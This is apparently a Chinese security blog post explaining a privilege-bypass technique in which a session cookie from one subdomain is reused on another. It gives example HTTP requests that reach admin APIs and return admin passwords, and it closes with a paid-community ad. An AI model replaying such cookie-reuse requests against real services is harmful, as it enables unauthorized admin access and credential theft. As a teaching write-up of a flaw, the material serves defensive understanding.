你所不知道的权限绕过思路分享
这里使用的是cookie重用的思路
攻击流程:
攻击者使用Google搜索:
site:*.support.com~结果显示xyz.support.com允许用户注册,而abc.support.com不允许注册。
在xyz.support.com注册账户
攻击者访问xyz.support.com并注册一个新账户:
攻击者访问xyz.support.com并注册一个新账户:
POST /api/register HTTP/1.1
Host: xyz.support.com
Content-Type: application/json{
"username": "attacker",
"password": "password123"
}
~成功注册后,攻击者登录,并获得Cookie:
Set-Cookie: support_hub=xyz_auth_cookie_12345;攻击者访问xyz.support.com/api/admin/settings,发现返回了管理设置和管理员密码:
GET /api/admin/settings HTTP/1.1
Host: xyz.support.com
Cookie: support_hub=xyz_auth_cookie_12345#响应
{
"admin_username": "admin_xyz",
"admin_password": "xyz_secret_password"
}
尝试跨子域的Cookie复用
攻击者怀疑abc.support.com和xyz.support.com共享了相同的会话管理机制,于是尝试将xyz.support.com的Cookie用于abc.support.com。
攻击者使用相同的Cookie访问abc.support.com的管理API:
GET /api/admin/settings HTTP/1.1
Host: abc.support.com
Cookie: support_hub=xyz_auth_cookie_12345
意外响应成功:(不使用xyz子域名的cookie那么会报错401)
{
"admin_username": "admin_abc",
"admin_password": "abc_secret_password"
}如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款